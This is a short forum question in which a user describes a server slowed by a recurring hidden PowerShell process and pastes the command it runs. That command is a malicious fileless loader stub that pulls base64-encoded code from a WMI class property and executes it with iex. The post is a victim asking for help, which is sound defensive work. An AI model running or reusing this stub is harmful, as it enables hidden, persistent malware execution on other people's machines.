I'm facing this problem recently:
My server gets very slow, I went to check and see one instance of PowerShell using a lot of the CPU. I force the task to end and after some hours it comes back.
The script that it's being executed:
powershell -NoP -NonI -W Hidden "$mon = ([WmiClass] 'root\default:Win32_TaskService').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:Win32_TaskService').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList ($mon, $mon, 'Void', 0, '', '')"
Anyone knows what is this and how to stop it from being executed?